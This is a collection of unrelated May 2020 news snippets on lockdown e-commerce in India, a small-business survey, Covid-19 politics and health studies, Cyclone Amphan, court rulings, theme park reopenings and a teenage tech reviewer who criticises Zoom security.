The company has made almost 100 significant process changes in operations for the safety of workers which include mandatory face covering, daily temperature checks in buildings, increased frequency and intensity of cleaning at all sites including regular sanitization of frequently touched areas, and awareness-building among associates on safety requirements around hand-washing and hand sanitization.

After nearly two months of stringent movement curbs to combat the spread of coronavirus pandemic, consumers have resumed online shopping and are placing orders for items like laptops, AC, and fridge in red zones that have now been allowed to ship orders of nonessential items under liberal set of rules for lockdown 4.0.

E-commerce companies like Flipkart, Amazon and Snapdeal were earlier this week allowed to ship all items across the country (except containment zones).

In the first two phases of the lockdown, which started from March 25, e-commerce companies were allowed to sell only essential items like grocery, healthcare and pharmaceutical products.

In the third phase (May 4-17), these platforms were allowed to sell all items in orange and green zones, but only essential items were allowed to be shipped in red zones, which included top e-commerce hubs like Delhi, Mumbai, Bengaluru, Pune and Hyderabad.

An industry watcher, however, noted that despite the pent up demand, sales continue to be a fraction of the volumes seen in the pre-COVID-19 timeframe. The industry hopes that the demand will pick up in the coming days as the situation around COVID-19 improves, and more sellers resume operation.

E-commerce platform saw a significant impact on their business during the lockdown, given that grocery segment accounts for a small portion of online sales.

While orders are scaling up now, the sector continues to face the challenge of availability of limited manpower for warehouses and delivery, prompting the likes of Amazon to bring in seasonal workers.

Grocery delivery platforms like BigBasket and Grofers have also scaled up hiring to meet the increased demand.

Interestingly, food delivery platforms like Zomato and Swiggy have announced laying off over 1,600 employees amid the COVID-19 pandemic.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Dallas, May 22, 2020 (GLOBE NEWSWIRE) -- Wave 9 of a national study revealed positive signs that small businesses are getting back to work. Those businesses saying they are still seeing large declines in customer demand has decreased below levels seen nine weeks ago. Those expecting continued large declines in demand has been trending downward.

More than half (57 percent) of small business owners now think staying closed a few more weeks is too long. At the same time, 64 percent say they are still concerned about a second wave of the virus.

We are clearly seeing that small businesses want to reopen, said Gordon Henry, Chief Strategy Officer at Thryv. One positive sign is the number of small businesses that need to decrease employee hours has steadily declined. Last week, Wave 9 saw that number, which peaked in Wave 2, fall from 88 percent to 70 percent.

Regarding loans, the study found 58 percent of SMBs have applied for a Small Business Administration (SBA) loan. Only 8 percent say they are likely to apply for an SBA loan in the future, indicating that those applications have peaked. Two-thirds of those who applied have been approved for the loan and 68 percent have received the funds.

The federal government disburses funds through the SBA pursuant to the CARES Act.

A question added in Wave 5 has shown about 40 percent of businesses studied planned to ask all employees to return to work immediately after they reopen. Another 25 percent said all employees were still working. Not surprisingly, firms with approved SBA loans were more likely to say employees were reporting to work. However, the effect was less pronounced in Wave 9 indicating employees are returning to work regardless of government aid.

The study of small businesses by Thryv Inc. and Americas Small Business Development Centers (SBDC), a resource partner of the Small Business Administration (SBA), was conducted May 10 - 17, and was a follow-up to Waves 1 through 8 of the study conducted the prior weeks.

We continue to see funds flowing to small businesses. Slightly more than two-thirds (68 percent) have received the proceeds of the SBA loans and businesses are reacting by putting employees back to work, said Charles Tee Rowe, president and CEO at Americas SBDC. Our big concern now is helping them reopen safely and effectively.

These are just a few data points from the joint longitudinal study by Thryv, Inc.  a SaaS and marketing solutions company with over 350,000 small business clients nationwide  and Americas SBDC conducted among small businesses across the country this past weekend. The research supports the integral role small businesses play and the value they bring to the economy. Both Americas SBDC and Thryv Inc. have a long history of working with small businesses.

The study was conducted on May 10 through May 17 among small businesses, with a margin of error +/- 6.4 percent. Thryv and Americas SBDC will continue to gather data from SMBs over the next four to eight weeks.

For full study results, email alan.traverse@thryv.com.

About Thryv, Inc.

Thryv, Inc. builds and owns the simple, easy-to-use Thryv software that helps small business owners with the daily demands of running a business; and allows them to take control and be more successful. Thryv provides modernized business functions allowing them to manage their time, communicate with clients, and get paid. These include building a digital customer list, communicating with customers via email and text, updating business listings across the internet, accepting appointments, sending notifications and reminders, managing ratings and reviews, generating estimates and invoices, processing payments, and issuing invoices and coupons.

Thryv delivers business services to more than 350,000 small businesses across America that enable them to compete and win in todays economy.

Thryv also provides consumer services through our market-leading search, display and social productsand connects local businesses via The Real Yellow Pages from the over 25 million monthly visitors of DexKnows.com, Superpages.com and yellowpages.com search portals; and local print directories. For more information about the company, visit thryv.com.

About Americas SBDC Program: America's SBDC (Small Business Development Center) Network is a partnership uniting private enterprise, government, higher education and local nonprofit economic development organizations. It is the Small Business Administration's largest partnership program, providing management and technical assistance to help Americans start, run and grow their own businesses. Learn more at www.americassbdc.org.

Media Contacts:

Paige Blankenship

Thryv, Inc.

972.453.3012

paige.blankenship@thryv.com

April Youngblut

Americas SBDC

703.764.9850

april@americassbdc.org

###
Ramzan Kadyrov, Chechnya's strongman leader, was flown to Moscow and hospitalized with COVID-19 symptoms, Russian state media reported Thursday.

Kadyrov is an ally of Russian President Vladimir Putin, who installed him as head of the Chechen Republic in 2007. The Tass news agency said Kadyrov has "suspected coronavirus" and is "currently under medical observation." Baza, an online news outlet, said Kadyrov arrived in Moscow on Wednesday after his flu-like symptoms became worse, and he has sustained lung damage.

Since he came to power, a cult of personality has developed around Kadyrov. He has been accused of human rights abuses, including torture and murder, and does not have a clear successor, The Guardian reports.

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American scholar Stephen Walt, a realist and an ardent supporter of nationalism, said the post-epidemic world is a world that is less open, less prosperous and less free.

The post-pandemic world is "a world that is less open, less prosperous and less free".

The post-Covid-19 era will witness the rise of nationalism and a step backward of Global Governance.

In nature, Nationalism and Global Governance are two closely related factors, but in inverse proportion: When the roles of nations are upheld, this means that the role of and the influence of multilateral institutions in global governance such as the UN, WTO, WB, IMF, WHO ... is reduced respectively and vice versa.

Theoretically, Nationalism and Global Governance relate to the two common patterns of theory of international relations: Realism and Liberalism.

In short, realists argue that states, not any other intergovernmental or supranational organization, are the main subjects of the world order. The world we live in is essentially an out-of-order world in which nations seek ways to protect their interests so competition, confrontation or even conflict among them is inevitable.

Liberals share the realist view of the nature of nations. They believe that although there are differences in interests, countries can still find common ground and compromise to cooperate with each other, especially in matters related to economic benefits; and cooperation is better than war. For liberalists, states' participation in regional and international organizations, with binding rules, plus increased cohesion and interdependence among nations through trade, investment, tourism ... will reduce conflict among nations and therefore the world will have more peace.

However, in the real world, there is no exclusion of one school from the other, but both schools coexist. The difference is only in which country, which region, in what context and at what stage, this trend is on the throne compared to the other trend.

After the end of the Cold War, Liberalism and Global Governance rose, but only for a short time, thanks to the following factors:

(i) Expectations that the United Nations and important international organizations would play a greater role in addressing global issues, especially those related to security and development;

(ii) The rise of many new global challenges that require a global approach, as well as global governance mechanisms to address; and

(iii) The development of information technology, especially the internet, the increase of interdependence among nations helps increase awareness of people and countries about the urgent need to consolidate and increase global governance.

However, expectations were high but global governance did not produce the expected results for many large countries, as well as small and medium developing countries. The biggest "shock" for global governance is President Donald Trump's strategy with the priority of "Make America Great again!" (MAGA). On September 24, 2019, in his remarks to the 74th session of the United Nations General Assembly, President Trump declared: "The future does not belong to globalists. The future belongs to patriots" - essentially nationalists who are called by another beautiful name.

Along with "MAGA" is Americas "turning away" from global governance such as withdrawing from the Paris Agreement on global climate change; from the United Nations Educational, Scientific and Cultural Organization (UNESCO), cutting tens of billions of US dollars in annual development aid budgets for developing countries; cutting hundreds of millions of US dollars of annual contributions to the UN budget, that made this organization fall into financial crisis and many UN activities cancelled. Most recently, US President Donald Trump cut the annual financial contribution of up to $900 million to the World Health Organization (WHO) as he thought that this organization was "biased" in a disadvantageous way for the US and did not fulfill its obligations in preventing the Covid-19 pandemic from spreading globally.

In fact, before Trump came to power, a new generation of nationalist leaders appeared in Japan, Turkey, Russia, China, the Philippines ...

The question is why they all pursue nationalism, but Trump's policies are "shocking" and noticed by the world? The reasons may be:

(i) Trump is a straightforward person so his words attracted the media that added spice to his words to lure readers.

(ii) The US and international politics at first thought that Trump would be like previous presidents who only made "strong threats" during the election campaign to attract more votes and would "do differently" when they hold power. Surprisingly, after coming to power, Trump has vigorously and thoroughly implemented his campaign promises and this has surprised not only his opponents, but even America's friends, allies and partners.

(iii) As the world's No. 1 superpower, and a nation that initiated, participated in and contributed enormous resources to global governance right from the very beginning, the US "retreat" has only made immense consequences, but also gaps that can hardly be filled in a short time.

British Chancellor Boris Johnson welcomed US President Donald Trump at a NATO leaders meeting in Watford, UK, in December 2019. (Photo: Reuters)

What is concerning is that the nationalist trend will be increasing throughout the world, with very few exceptions, right after the end of the Covid-19 pandemic. This will directly affect the role of global governance at a time when international cooperation is more necessary than ever to overcome "post-Covid-19" consequences, as well as prevent similar pandemics or catastrophes in the future. There are three reasons to support this statement:

First, international institutions supporting global governance such as the UN, WTO, WHO ..., including military unions such as NATO, or supranational organizations like the EU are considered "outdated" when they were not designed to deal with a global pandemic like Covid-19. By the time of the pandemic, these organizations were almost completely helpless and their role became extremely weak.

Second, bilateral alliances, strategic partners or allies are not helping at the moment. Even in the EU, when the epidemic broke out, each member state could only take care of itself. The Russia-China strategic partnership was not much better when the two countries continuously adopt unilateral measures to minimize the travel of citizens of the other country.

Third, since the onset of pandemics, nations have emerged and acted as irreplaceable agents. The prestige of leaders of most countries from the US to Africa, from China to Russia, to Europe, to Asia ... has soared. On any TV program, at any time, it is always easy to see the anxious faces of national leaders. They directed and attended press conferences to provide information to their peoples about how the government is doing to minimize epidemics and minimize casualties with the aim of reassuring people - one thing that is absolutely necessary in times of crisis, war and disease. And this role will not diminish soon but continue even after the Covid-19 pandemic passes.

So in the post-Covid-19 time, what will be the format of the new global governance? It is temporarily outlined in some aspects as follows:

- The trend in which US reduces its role in global governance in the organizations such as UN, WTO, WHO ... will continue to accelerate. The US will place more emphasis on the strategies it initiates and plays a leadership role such as the "Open and Free Indo-Pacific Strategy ". Even in bilateral alliances such as the US-Japan, US-Korea and multilateral security pacts such as NATO, the US will not "contribute" on behalf of other countries, but will require sharing of obligations.

China, meanwhile, will do the same, seeking to exert influence, or expand its role in the initiatives, strategies, or organizations that it establishes or dominates, such as " the Belt and Road Initiative - BRI, Shanghai Cooperation Organization - SCO or Xiangshan Forum on national defense ...

- Global institutions such as UN, WTO, WHO ... will face the pressure of radical and profound reforms to suit the context of increasing unilateralism throughout the world, pressure from the US and the West, as well as budget cuts. America's "withdrawal" from global institutions does not mean that China can easily fill the gap because: (i) China needs time to prepare and is not ready to play a major and more outstanding role at the moment; (ii) The world is not ready to take on a new, bigger role of China; and (iii) American and Western opposition.

- As a result of a pandemic, and from a pandemic, any new global governance models, or any reforms to existing bilateral or multilateral institutions, must be added with binding provisions, giving these institutions the ability to alert, prevent, and respond to pandemics as much as possible.

- Military alliance treaties such as NATO, agreements to establish alliances, strategic partners ... in addition to the existing terms such as political, diplomatic and security - military support when one of the parties is attacked or threatened to attack by force, will soon be "upgraded" with some additional provisions to suit the new situation such as:

(i) Regularly update and share intelligence about each other regarding the emergence of new epidemics and how to cope with them;

(ii) Support, share information, research results and ways to deal with new infectious diseases; support each other in the production and supply of basic medical products and equipment such as antibiotics, antibacterial, protective clothing, breathing devices ...; access to strategic health stockpiles.

(iii) Support each other in setting up strategic reserves, uninterrupted supply of essential goods, serving production and people's needs in the context of some or all of the nations in the alliance could be "closed" for months.

The above measures will help revive and make existing coalitions with their real meaning, which is to help and protect each other both in wartime and in "peacetime" when dealing with epidemics.

Hoang Anh Tuan

The world in the post-Covid-19 era (Part 3) Originally regarded as a "savior", the Covid-19 pandemic has created new skepticism, considering globalization as a "criminal" that spread the coronavirus epidemic across the globe and caused the current disaster.

The world in the post-Covid-19 era (Part 2) Some questions must be answered clearly: Where and in what context did Covid-19 appear? Were the World Health Organization's (WHO) detection and warnings timely enough in preventing the pandemic outbreak?
May 22 : As cyclone Amphan struck Odisha and West Bengal on Wednesday, several Bollywood celebrities took to social media to express solidarity with those affected.

Actress Bhumi Pednekar took to her social media and wrote, The super cyclone has left trails of destruction in West Bengal and Odisha. My thoughts, prayers, and strength to the people and families affected"

Newbie Ananya Panday wrote, #CycloneAmphan Condolences to the families who've lost their loved ones in #CycloneAmphan. Prayers for everyone's safety at this hour of crisis"

Actor Nushrat Bharucha offered prayers for the safety of everyone. She wrote, The Cyclone Amphan images are disturbing & terrifying...saddened to see the damage. Praying for everyone's safety & well being".

The Cyclone Amphan images are disturbing & terrifying...saddened to see the damage

Praying for everyone's safety & well being  https://t.co/QCNk18suwc  Nushrat Bharucha (@NushratBharucha) May 21, 2020

Actress Dia Mirza wrote, Disturbing visuals of devastation caused by #CycloneAmphan. May this compel our humanity to come together and help build back lives. Our thoughts and prayers with all in West Bengal. Let's unite in solidarity and support"

Disturbing visuals of devastation caused by #CycloneAmphan. May this compel our humanity to come together and help build back lives. Our thoughts and prayers with all in West Bengal. Lets unite in solidarity and support   Dia Mirza (@deespeak) May 21, 2020

Earlier, Bollywood celebrities like actors Abhishek Bachchan, Ayushmann Khurrana, Shoojit Sircar, Arjun Kapoor and more also expressed concern over the cyclone.

Many places in Odisha and West Bengal saw streets waterlogged, trees uprooted and houses damaged due to strong winds and heavy rain as Amphan battered the two states.
The NCW on Friday said it has sought an inquiry against a doctor who has been accused of sexually harassing a female staff member in a hospital in Faridabad.

Taking suo motu cognisance of a post on Twitter wherein it stated that a woman submitted a sexual harassment complaint against a doctor based on an incident on April 19 in QRG Central Hospital, Faridabad.

"It is further alleged that other female staffs have similar complaints regarding the same doctor, however, no action has been taken by the hospital administration against the doctor, instead the complainant was removed from her current profile and demoted," the NCW said in a statement.

The commission said it is perturbed by the crime against the woman despite the enactment of the Sexual Harassment of Women at Workplace (Prevention, Prohibition and Redressal) Act, 2013.

"Considering the gravity of the matter, the commission has written to Sangeeta Rai Gupta, Director of QRG Enterprises Ltd, whether the internal committee is inquiring into the complaint, and also asked what action has been taken against the accused if found guilty, and a detailed action taken report must be sent to the commission at an early date," the statement said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A malaria drug that U.S. President Donald Trump says he has been taking to avoid contracting COVID-19 has been linked to increased risk of death in patients with the disease, according to a study published in a prominent medical journal.

The study, published Friday in the Lancet, monitored more than 96,000 COVID-19 hospital patients. It found that people treated with hydroxychloroquine, or the related drug chloroquine, were more likely to develop an irregular heart beat that could cause sudden death.

Trump began touting the use of the malaria drug as a coronavirus treatment in early April and said earlier this week he was taking it as a preventative measure.

The authors of the study suggested that hydroxychloroquine should not be used to treat COVID-19, outside of clinical trials, until results from those trials are available and confirm its safety for COVID-19 patients.

In April, the U.S. Food and Drug Administration also issued a warning about the use of hydroxychloroquine to treat the coronavirus.

Another new study, this one by the World Health Organization, concluded the pandemic is interfering with immunization against diseases that could risk the lives of nearly 80 million infants. Global health officials say over half of 129 countries that had immunization data reported the suspension of vaccinations against cholera, measles, polio and other diseases.

India infections spike

As coronavirus cases worldwide surpassed 5.1 million and deaths climbed above 333,000, according to Johns Hopkins University statistics, Indias health ministry said Friday the country recorded its largest one-day spike in COVID-19 infections, with 6,088.

There were 148 deaths in India during the same Thursday morning to Friday time frame, the health ministry said. The country has nearly 120,000 coronavirus infections overall.

Britain traveler quarantines, Latam outbreaks

In Britains fight to stop the spread of the coronavirus, everyone flying into the country, including citizens, will be required to self-isolate for 14 days. International travelers will have to provide an address and will be subjected to spot checks and fines if they breach quarantine, Northern Ireland Secretary Brandon Lewis told Sky News on Friday. The new protocol is expected to begin next month.

While Europe has been hard-hit by the outbreak, Latin America is becoming a coronavirus hotspot. Brazil now has the third-highest number of cases in the world after the U.S. and Russia after recording more than 20,000 deaths and a record 1,188 deaths in a 24-hour period.

A grave digger at a cemetery outside Sao Paulo said "We've been working 12-hour days, burying them one after the other. It doesn't stop."

Chile, Mexico and Peru have also seen steady increases in infections.

Africa COVID-19 cases pass 100K

The Africa Centers for Disease Control and Prevention said Friday that coronavirus cases on the continent have topped 100,000. Africa has so far not experienced the high numbers of cases seen in other parts of the world.

More than 3,100 people have died on the continent of 1.3 billion people and the Africa CDC director says the continent has seen about the same number of new cases in the past week as the week before. We hope that trend continues, Africa CDC director John Nkengasong said.

The United States continues to lead the world in the number of cases and deaths. The U.S. more than 1.5 million people who have been infected and nearly 95,000 have died.

Despite the grim statistics, President Trump has made clear he wants state governors to do more to ease virus-related restrictions as his November re-election bid draws closer.

At a roundtable discussion with African-American leaders in Michigan Thursday, Trump said Democratic governors who are easing restrictions more slowly than he would like are hurting themselves, theyre hurting their state, and its not good.

Trump added the Democratic governors are being forced to open and I think they look at it as a possible November question; its not a November question.

Meanwhile, Michigan's attorney general says Trump may not be invited back to the state if he refuses to wear a face mask in public.

Trump Thursday visited a Ford auto factory near Detroit that has been converted into a plant to build ventilators and was seen not wearing a mask, a violation of the governors executive order on masks.

Also on Thursday, Trump ordered flags on all federal buildings and monuments lowered to half-staff for three days in memory of all Americans who have lost their lives to the coronavirus.

He made the announcement on Twitter at the same time he said the lowered flags Monday will also honor servicemen and women who have made the ultimate sacrifice for our nation as the country marks Memorial Day.


What started out as a 13-year-olds hobby to feed his passion for technology has turned into a business for Skyler Ficklin, operator of the QuitZoom website and iSkyler YouTube video channel.

Ficklin, stuck at home while his Ohio high school is closed due to COVID-19, spends his days and nights completing online learning assignments to end his sophomore year. Then he diverts attention to hands-on activities to learn more about journalism, audio and video production techniques, Web design and cinematography. At the end of each day, he reflects on his self-taught success and ponders what comes next.

High School Sophomore Skyler Ficklin

Although hes on a continuous learning curve, Ficklin already sees his efforts paying off. His viewership is growing. He is learning key lessons on how to handle negative reactions to his sometimes unpopular opinions. He is discovering what it takes to become business-minded as he searches for product samples to review, and sponsors to advance his journalistic reach.

TechNewsWorld recently met with Ficklin on a Skype conference call to discuss his interest in helping both his peers and tech-curious adults understand todays world of mobile gadgetry.

TechNewsWorld: How did you get started on this technology journey?

Skyler Ficklin:

For as long as I can remember, I have always had technology be a part of my life. I have always had access to computers in my house. My interest grew from there. Since I was 13, I had an interest in making little websites. I made a website for my IT class last year.

Not Zoom! TechNewsWorlds Jack Germain joins a Skype call with young entrepreneur Skylar Ficklin to discuss his QuitZoom website and iSkylar tech review channel on YouTube.

TNW: How much of a role has your high school experience so far played in your interest in technology?

Ficklin:

Last year I took a programming class. This year was very active. I made a big website for my Web design class. Zoom has become pretty central for me. I became aware of some problems with using Zoom so I shifted to other products for comparison since there are so many of them. I wanted to find a way to explain to people why I wasnt using Zoom. So I put that together.

TNW: What kind of comments have you gotten about your opposition to Zoom?

Ficklin:

Most people were very confused about why I wouldnt use Zoom. A lot of people told me they just dont care about the issues. They just want to use it. Some people continually denied that there were issues with using Zoom. They saw the Zoom bombing issues as separate from other problems.

They were not worried about bombing intrusions since they used passwords for their video session invitations. Still, the Zoom security is not as good as it could be. I did make headway with a few people who recognized that the issues I raised did make sense. So they tried to work around the problems.

Skyler Ficklin designed his own website  QuitZoom.com  to caution users about Zoom security concerns.

TNW: Do you plan to add other potential controversial technology topics to your QuitZoom website?

Ficklin:

Nothing is in the works yet to expand the topic discussions. But I always wanted to have a website to support my YouTube channel where I make reviews on various tech products that I use.

What got me started on that idea was seeing a domain name for QuitZoom. I actually bought the domain name. I am also hosting a WordPress site on a hosting platform.

A D V E R T I S E M E N T

TNW: What got you started with the YouTube channel?

Ficklin:

I have had that channel for about three years. I use it to talk about products that I really want to use and have an interest in. For example, I really wanted a pair of AirPods. I couldnt afford to buy them.

I read reports about fake AirPods coming in from China. So I bought them and did reviews about them. I got some earphones for Christmas so I reviewed them. I mostly review things that I have. I am a big user of iPads and iPhones. I review iPhone software a lot.

Skylar Ficklin is growing a YouTube following for his mostly iOS product reviews.

TNW: Have you had to deal with adverse reactions to your product comments?

Ficklin:

I once did a review of the iOS Safari browser. A lot of people really did not like that. I had some glowing opinions that apparently upset many people. I got some push back from people telling me to use the Chrome browser instead.

TNW: What is your favorite mobile platform?

Ficklin:

I tend to favor iPhone. I have an Android phone that I mostly use for comparison purposes in discussing the features of the iPhone platform. There are some things I dont like about Android. Mainly, I use an iPhone and focus my reviews on its products.

TNW: How did you learn the technology to produce your own content?

Ficklin:

One of my first videos involved comparing an older iOS operating system to a current release. I had been looking for such a comparison online for my own knowledge. Not finding any articles, I decided to make my own.

That movie I made was pretty heavily edited in iMovie. After that I moved towards trying to just record my reviews live and uploading without editing. My goal was to do just one take to upload.

After that experiment, I went back to using iMovie on my phone. I concentrated on adding overlays and doing better editing to smooth out the final version.

TNW: It sounds like you had to create your own process. How did you handle those challenges?

Ficklin:

I had gotten other editing software for a Christmas gift. I used it to experiment with editing some clips. I started adding some transitions and text overlays to the editing process.

I got a camera and learned how to get better quality images with it. I added lighting equipment and a microphone to get better sound results than the internal microphones produced. I used to use just the camera audio and the phone audio.

TNW: What were the biggest challenges you met that brought you the most satisfaction with your progress?

Ficklin:

It was a very gradual process of learning by doing. It is a very bad comparison between the beginning videos and my videos now. My quality now shows so much of a big difference. Some of my videos have music now as well.

Time is also a big factor. I spend a lot more attention on pre- and post-production tasks. Both of those processes are very time consuming and get much more attention now.

TNW: So far you have been motivated by your passion for technology and sharing your insights with your viewers. Have you thought about the monetizing aspect of what you are doing on your websites and your YouTube channel? Are you seeing a cash flow yet?

Ficklin:

Not yet  but I am hoping to get there very soon. For YouTube, in order to get monetization you have to have 500 subscribers and 4,000 watch hours. Im getting very close to that. I am about 80 percent of the way there.

I am also contacting retailers and smaller companies to get products sent to me for review. I have not gotten any replies yet, but I am hoping to eventually get to a point where I can get that support.

TNW: What about sponsors? Have you considered that approach?

Ficklin:

I havent done that yet. I hope to eventually get to that point. It would be awesome!

Recently, I have had a lot of growth. That makes me optimistic that I could get there eventually. Originally, I started doing these activities as a hobby. After I did my first OS comparison for the iPad, I began doing more of that type of content.

TNW: Have you noticed your viewer base growing as you continue to transition from hobby to business?

Ficklin:

It is definitely growing. I started with a few people watching. They are still around, but many more are regularly coming to view the new content. I have had a large uptick in uploads this month alone since I have more time at home to work on the projects.

My future career plans include some form of technology. I was initially interested in computer programming. Now I am leaning towards cinematography and video editing and journalism also.

Do You Know a Tech-Savvy Student?

Do you know a tech-savvy student youd like to suggest for a TechNewsWorld feature? Are you a student whos ready to leap into the spotlight yourself?

Pleaseemail me, and Ill consider scheduling an interview.

And use the Reader Comments feature below to provide your input!
An Iranian-American aviation magnate and gunrunner tied to the CIA and the Iran-Contra scandal must pay a sheikhdom in the United Arab Emirates over $4.1 million over a series of business disputes, a British court ruled Friday.

The ruling against Farhad Azima caps a yearslong legal dispute stretching across the world between the Kansas City, Missouri resident and the emirate of Ras al-Khaimah, one of UAE's seven sheikhdoms along with Abu Dhabi and Dubai. The case renewed questions over whether Azima had what one prosecutor said was

While ruling in the emirate's favor, the High Court's judgement also paints Ras al-Khaimah as the Wild West of frontier investing. The 127-page ruling describes the emirate's ruling family, alleging it was a victim of

A statement issued on Azima's behalf said he planned to appeal, reiterating his belief he had been targeted by hackers working for Ras al-Khaimah, something the emirate denies.

As it stands, this judgment amounts to a hackers charter, the statement said.

The Ras al-Khaimah Investment Authority, the sovereign wealth fund that sued Azima, welcomed the ruling. Even Ras al-Khaimahs ruler, Sheikh Saud bin Saqr Al Qasimi, provided a witness statement for the proceeding against Azima, the judgement said.

The government of Ras al-Khaimah is continuing to recover stolen assets of the emirate, it said in a statement. It is committed to bringing to justice those who have misappropriated public funds from the emirate and its people. This decision is another victory in this fight against fraud.

Ras al-Khaimah is in the far northern reaches of the U.S.-allied UAE. It borders Oman and is near the Strait of Hormuz.

The lawsuit stemmed from Azima's work in the emirate to develop a potential cargo airline and pilot training center there, as well as to sell a hotel it owned in Tbilisi, Georgia, and get it to buy a surveillance aircraft. The airline and aircraft deal fell apart, as did the hotel sale that somehow saw three Iranians suspected of having ties to Iran's Revolutionary Guard get involved.

The emirate and Azima fell out in claims and counterclaims. Azima then warned he'd launch a publicity campaign against the emirate over human rights abuses, an effort the ruling described as intending to draw attention to actual cases of detention and illegality, not fabricated cases. Azima also allegedly sought to incriminate members of the ruling family with criminals like Latin American drug cartel figures.

The order also describes Sheikh Saud as hiring a private investigator in January 2015 over fears a former official accused of stealing $2 billion had partnered with Sheikh Khalid bin Saqr Al Qasimi, the emirate's former crown prince who was later stripped of his position.

During the dispute, Azima saw gigabytes-worth of his emails hacked and leaked onto the internet. Those emails included Azima's dealing with former CIA officers in a private security firm. One project was a scheme, apparently on behalf of a Kuwaiti ruling family member, to install new, bolder, more energetic leadership in the Gulf nation.

Azima built Global International Airways, a charter and cargo carrier, in the 1970s. The carrier was initially intended to transport cattle from Nebraska to Iran, until the U.S. cut diplomatic ties after the 1979 Islamic Revolution. Soon the flights were filled with mysterious cargo, including arms.

In 1979, 50 tons of arms on one of Global Airways planes were found in Tunisia. Azima said the flight had been forced to land at a Tunisian military base to take the weapons onboard instead of medical supplies destined for Nicaraguan refugees in Costa Rica.

Seven years later, another one of his planes  purportedly leased to his brother  carried 23 tons of weapons into Tehran as part of the Iran-Contra affair, the scheme of secret U.S. arms sales to Iran to pay for illegal U.S. support for Nicaraguan rebels. He again denied involvement.

Azima later won multimillion-dollar contracts with the U.S. military.

Image Source: Representative/Unsplash
The Delhi High Court on Friday directed the chief secretary to file a report with regard to the manner in which the night shelter at the All India Institute of Medical Sciences (AIIMS) is being managed by the Delhi Urban Shelter Improvement Board (DUSIB) and undertake all corrective measures without any delay. The courts direction came after it noted that 22 outstation patients tested positive for the coronavirus disease (Covid-19) on Thursday evening.

A bench of justices Vipin Sanghi and Rajnish Bhatnagar also directed the principal secretary, health, of the Delhi government, DUSIB, and AIIMS to file an affidavit detailing why two patients, residing in the night shelter outside the hospital, were shifted to hospitals far away and not accommodated in the AIIMS Covid-19 facility when they tested positive.

The court asked the chief secretary to look into the various grievances raised by the petitionersKaran Seth, a lawyer, and Rachna Malik, a social worker who had filed pleas on different issues facing the outstation patients residing at a shelter home outside AIIMS.

We direct that todays order be placed before the chief secretary, GNCTD (Government of National Capital Territory of Delhi) and after examining the report that may be prepared after todays visit, including the videograph, we direct him to examine the position with regard to the manner in which the night shelter at AIIMS is being managed by DUSIB, and to undertake all corrective measures, as are called for, without any delay. A further status report be filed by DUSIB, GNCTD, AIIMS and Malik, the court said.

Reacting to the order, chief secretary Vijay Dev said, I will ensure DUSIB, as also other agencies, discharge their responsibilities to the full satisfaction of the court.

The media advisor to chief minister Arvind Kejriwal said, We will examine the matter.

In his plea filed through advocate Arjun Syal, Seth requested the court that directions be given to the authorities to provide free treatment to 100 outstations patients residing at the shelter home outside AIIMS.

On Friday, Malik, through her counsel, Vaibhav Pratap Singh informed the court that there was no potable drinking water facility at the night shelter. She also pointed out that the toilet facility at the night shelter was inadequate and filthy, and not properly maintained throughout the day, due to lack of sufficient water.

Though the toilets are cleaned twice a day, due to lack of water, they get soiled very fast, and the sewer line is choked, she submitted, adding that there is no regulation of people entering the night shelter. She said that the mother of one of two persons infected at the night shelter has left the premises.

However, the counsel appearing for the director of the night shelter refuted the contentions and stated that the toilets used at night are separate and are regularly maintained. Whenever the toilets are choked, they are attended to by DUSIB, he submitted.

Following this, the court ordered an inspection of the night shelter on Friday wherein the proceedings would be videographed and statements of those occupying the night shelter would also be recorded  to ascertain the factual position.

The court also noted the submission of the DUSIB made in its status report stating that the two patients who tested positive from the night shelter were shifted to Lok Nayak Jai Prakash Hospital and Rajiv Gandhi Super Speciality Hospital while remarking, ..we are at loss to understand as to why they were not taken to the AIIMS Covid facility, and why they have been shifted to far off hospitals when they were staying in the night shelter outside AIIMS.

The bench called upon a report from the principal secretary, health department, of the Delhi government, DUSIB and AIIMS and posted the matter for further hearing on May 27.
ORLANDO, Fla. - Universal Orlando Resort will begin a phased reopening on June 5, nearly three months after closing down because of the coronavirus pandemic, the company announced Friday.

Florida Gov. Ron DeSantis approved the reopening plan Friday with the recommendation of Orange County Mayor Jerry Demings, according to a Universal news release. Park officials had presented details of their plan to the county a day earlier. The plan includes the reopening of Universal Studios Florida, Universals Islands of Adventure and Universals Volcano Bay.

We want to invite guests back to our theme parks in a cautious and thoughtful way, Universal Parks & Resorts Chairman and CEO Tom Williams said in a prepared statement. We have put new health and safety procedures in place for both our team members and guests. And we have worked hard to make sure our guests can enjoy their time with family and friends.

Attendance will be carefully managed and controlled, according to the news release. Universal will soon schedule team members for training on its new procedures, with limited previews in the days leading up to the public opening, when Universal will continue to manage daily attendance.

All central Florida theme parks closed in mid-March due to social distancing guidelines meant to combat the spread of COVID-19. Both Universal Orlando and Walt Disney World have reopened shopping complexes and restaurants in the past week, with several restrictions.

Legoland Florida announced earlier Friday that it would reopen June 1. Walt Disney World and SeaWorld Orlando havent announced official reopening plans.
Is Gerard Butler's goofy 300 accent actually brilliant? Is there a there a good reason for Twilight werewolf nudity? Does Indiana Jones and the Last Crusade imply God wants us to be skilled tumblers? Well, alleged "Doctor" Jordan Breeding returns to explain why some of film's stupidest moments are secretly genius.

Inspired by the articles The Horrifying Easter Egg Everyone Missed in Indiana Jones, 5 Weird Movie Questions You Didn't Know Had Answers, and 4 Movie Theories That Explain Bizarre Casting Choices

Writer: Jordan Breeding

Director of Photography: Caleb Gritsko

Editing: Andy Sowar, Jordan Breeding, Caleb Gritsko

Special Thanks: Devin Byam

Check out more of Jordan's Cracked work, see his other work, or connect on Twitter. And be sure to subscribe to Cracked's YouTube channel to check out episodes of our new and classic series.

New episodes of "Your Brain on Cracked" run every Friday at 3pm EST, or catch up on past YBOC episodes.
A 13-year-old boy was seriously wounded in front of a South Side home when shots were fired from a passing car Monday night, according to Chicago police.



The eighth-grader was attending a gathering in the 900 block of West 87th Street about 8:30 p.m. when he was shot in the abdomen, police said. He was taken to Comer Children's Hospital, where he was listed in critical condition.



Through a steady drizzle, anxious relatives rushed into the emergency room to see the boy, a triplet who attends Alex Haley Academy in the Roseland neighborhood.



Donovan Price, an anti-violence activist for Together Chicago, joined relatives in the emergency room and led them in prayer as the boy went into surgery. Price said early Tuesday that it appeared the boy will be OK.



No arrests have been made, police said.
A scratch-and-sniff test could help doctors nose out undetected coronavirus cases before they show any other symptoms.

